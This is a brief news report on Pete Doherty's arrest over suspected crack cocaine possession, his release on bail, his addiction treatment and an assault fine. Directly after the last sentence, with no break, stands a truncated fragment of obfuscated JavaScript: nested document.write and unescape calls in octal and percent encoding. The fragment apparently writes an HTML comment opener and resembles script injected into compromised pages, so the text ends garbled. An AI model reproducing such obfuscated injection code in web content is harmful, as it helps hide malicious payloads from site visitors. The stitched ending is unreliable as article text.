Pop singer Pete Doherty has been released on bail after being arrested on suspicion of possessing crack cocaine, police said.
The Babyshambles singer was held by police after officers saw him driving his Jaguar erratically near his home in east London.
As well as the 27-year-old star, two other occupants of the car were also arrested on suspicion of drug possession.
A Scotland Yard spokeswoman said all three were released from Bethnal Green police station pending analysis of "substances recovered". They must return in December.
The arrest is the latest minor chapter in the life of Doherty, the on-off boyfriend of supermodel Kate Moss.
Doherty's battle with drug addiction has been lived in the public eye through countless newspaper reports.
He has repeatedly sought treatment for his addiction at the renowned Priory, in west London, as well as clinics in France, Portugal and Thailand.
He was fined £750 earlier this month for assaulting Radio 1 reporter Trudi Barber outside Thames Magistrates' Court.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;